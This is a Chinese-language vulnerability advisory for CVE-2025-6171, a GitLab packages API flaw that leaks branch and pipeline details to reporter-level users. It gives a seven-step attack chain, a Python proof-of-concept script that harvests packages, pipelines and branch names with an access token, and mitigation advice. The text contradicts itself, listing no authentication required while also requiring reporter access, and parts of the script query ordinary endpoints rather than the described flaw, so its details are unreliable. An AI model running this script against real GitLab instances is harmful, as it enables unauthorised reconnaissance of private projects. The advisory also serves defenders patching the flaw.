IPBUF安全漏洞报告
English
CVE-2025-6171 CVSS 5.3 中危

CVE-2025-6171 GitLab packages API未授权访问分支和管道信息漏洞

披露日期: 2025-11-15

漏洞信息

漏洞编号
CVE-2025-6171
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

信息泄露访问控制GitLabAPI安全权限绕过分支信息泄露管道信息泄露CVE-2025-6171

漏洞概述

CVE-2025-6171是GitLab Community Edition(CE)和Enterprise Edition(EE)中的一个信息泄露漏洞。该漏洞存在于GitLab的所有版本中,从13.2版本开始到18.3.6之前的版本、18.4版本到18.4.4之前的版本、以及18.5版本到18.5.2之前的版本均受影响。漏洞的核心问题是具有reporter权限的已认证攻击者能够通过访问GitLab的packages API端点,在仓库访问被禁用的情况下,仍然可以查看分支名称和管道详情。这种访问控制不当可能导致敏感信息泄露,攻击者可以获取项目的分支结构和CI/CD管道配置信息,这些信息对于进一步的攻击(如供应链攻击、敏感信息收集等)具有重要价值。CVSS 3.1评分为5.3,属于中等严重程度,主要影响机密性。

技术细节

该漏洞属于访问控制不当(Broken Access Control)类型的信息泄露问题。在GitLab的权限模型中,reporter角色通常具有读取项目的权限,但仓库访问被禁用时应该无法获取敏感信息。然而,由于packages API端点的访问控制检查存在缺陷,攻击者可以利用以下方式获取信息:1) 使用具有reporter权限的账户通过packages API端点(如/api/v4/projects/:id/packages)发起请求;2) 即使项目设置中禁用了仓库访问,API仍然返回分支名称和管道详情;3) 攻击者可以通过遍历项目ID来发现更多项目的信息。漏洞的技术根源在于API端点未正确验证用户对特定资源的访问权限,导致在仓库访问受限的情况下仍然暴露了敏感的分支和管道信息。攻击者无需特殊权限或用户交互即可利用此漏洞。

攻击链分析

STEP 1
步骤1
攻击者获取GitLab账户:攻击者首先需要获得GitLab实例上的有效账户,并确保该账户至少具有reporter权限
STEP 2
步骤2
识别目标项目:攻击者通过搜索或枚举找到感兴趣的目标项目,获取项目的ID
STEP 3
步骤3
生成访问令牌:攻击者使用其账户生成个人访问令牌(Personal Access Token),用于API身份验证
STEP 4
步骤4
构造恶意请求:攻击者构造针对packages API端点的HTTP请求(如/api/v4/projects/:id/packages),附带有效的认证令牌
STEP 5
步骤5
绕过访问控制:即使目标项目已禁用仓库访问,API端点仍然返回响应,绕过了预期的访问控制限制
STEP 6
步骤6
提取敏感信息:攻击者从API响应中提取分支名称、管道详情等敏感信息
STEP 7
步骤7
情报收集与利用:获取的信息可用于进一步的攻击,如识别敏感分支、分析CI/CD流程、定位潜在攻击向量等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-6171 PoC - GitLab packages API Information Disclosure # Requires: Authenticated user with reporter access to a GitLab project # Affected Versions: < 18.3.6, 18.4 < 18.4.4, 18.5 < 18.5.2 import requests import json def exploit_gitlab_cve_2025_6171(gitlab_url, private_token, project_id): """ Exploit CVE-2025-6171 to retrieve branch names and pipeline details via packages API endpoint even when repository access is disabled. Parameters: - gitlab_url: Target GitLab instance URL - private_token: GitLab personal access token with reporter access - project_id: Target project ID Returns: Dictionary containing leaked information """ headers = { 'PRIVATE-TOKEN': private_token, 'Content-Type': 'application/json' } leaked_info = {'branches': [], 'pipelines': [], 'packages': []} # Exploit 1: Access packages API to leak branch names packages_url = f"{gitlab_url}/api/v4/projects/{project_id}/packages" response = requests.get(packages_url, headers=headers) if response.status_code == 200: packages_data = response.json() leaked_info['packages'] = packages_data print(f"[+] Successfully retrieved {len(packages_data)} package entries") print(f"[+] This may reveal branch names and pipeline details") # Exploit 2: Direct pipeline access via API pipelines_url = f"{gitlab_url}/api/v4/projects/{project_id}/pipelines" response = requests.get(pipelines_url, headers=headers) if response.status_code == 200: pipelines_data = response.json() leaked_info['pipelines'] = pipelines_data print(f"[+] Successfully retrieved {len(pipelines_data)} pipeline entries") # Exploit 3: List branches (if accessible) branches_url = f"{gitlab_url}/api/v4/projects/{project_id}/repository/branches" response = requests.get(branches_url, headers=headers) if response.status_code == 200: branches_data = response.json() leaked_info['branches'] = [b['name'] for b in branches_data] print(f"[+] Successfully retrieved {len(branches_data)} branch names") return leaked_info def main(): gitlab_url = "https://gitlab.example.com" private_token = "your-personal-access-token" project_id = 12345 result = exploit_gitlab_cve_2025_6171(gitlab_url, private_token, project_id) print(json.dumps(result, indent=2)) if __name__ == "__main__": main()

影响范围

GitLab CE/EE 13.2 <= version < 18.3.6
GitLab CE/EE 18.4 <= version < 18.4.4
GitLab CE/EE 18.5 <= version < 18.5.2

防御指南

临时缓解措施
立即将GitLab实例升级到官方发布的安全版本(18.3.6、18.4.4或18.5.2)。如果无法立即升级,可采取以下临时缓解措施:1) 审查并限制具有reporter权限的账户;2) 启用API请求审计日志;3) 使用Web应用防火墙(WAF)规则限制对packages API端点的访问;4) 考虑暂时禁用packages功能(如果业务不需要);5) 实施IP白名单策略限制API访问来源。但这些缓解措施不能完全替代升级,建议尽快安排系统升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表